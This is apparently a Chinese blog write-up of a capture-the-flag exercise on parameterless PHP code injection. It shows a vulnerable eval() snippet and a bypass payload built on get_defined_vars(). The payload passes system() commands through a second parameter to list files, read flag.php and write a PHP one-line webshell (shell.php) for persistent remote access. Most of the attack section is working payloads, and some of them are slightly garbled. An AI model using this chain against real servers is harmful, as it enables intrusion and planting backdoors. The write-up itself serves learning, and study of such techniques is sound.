| 
 
 昨天做了一个无参数注入RCE的题,学到后面突然觉得可以做一些有趣的事  然后就尝试做了一下,发现可以利用相关漏洞写一个一句话木马  今天来总结一下  
以下是源码  
<?php
header("content-type:text/html;charset=utf-8"); 
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    echo "error";
}
highlight_file(__FILE__);
?> 
  
以下是我的目录,可以看到flag.php就在当前目录下   先说说怎么做吧,再重点讲一讲原理  这是我的getshell  
val(end(current(get_defined_vars())));&b=system('echo "<?php @eval(_POST[shell]);?>">>shell.php');
  
这里主要是用了get_defined_vars的特性  
首先,下面这玩意儿作用是把$b里面的变量给他eval(),相当于下面的作用是eval(phpinfo())  
eval(end(current(get_defined_vars())));&b=phpinfo();
  
最后的结果如下,很正确吧(关于为啥是这样我也就不说了,网上搜无参数RCE,一大把介绍,我会再文末附上两个我学习的帖子,大火可以参考)   既然b的内容可以直接输出,那么我们让b=system()  那么可操作的空间就变大了  
咱们直接来一手b=system(‘dir’),咱们看看效果   直接干出来了目录下的文件  
那么思路就清晰了,现在我们只需要b=system(‘type flag.php’)那么flag就出来了(主要要用源码查看,否则有特殊字符不显示)     
但这不是我们讲的重点,如果说flag.php不在当前目录呢,我们也有其他方法去做,但是如果直接写一句话,不就更简单了嘛,  
直接再system里面放下面这段,一句话木马直接出来了  
echo "<?php @eval(_POST[shell]);?>">>shell.php
  
   原理特别简单,我也只是学习到了,突然想到了其他方式,特意来记录下来  
然后相关无参数绕过的方式下面有俩大佬写的,我觉得很容易懂,写的很好推荐给大家  
参考1  
参考1该链接的源代码貌似有点儿不好使 
                
                
                
        
    
 
 |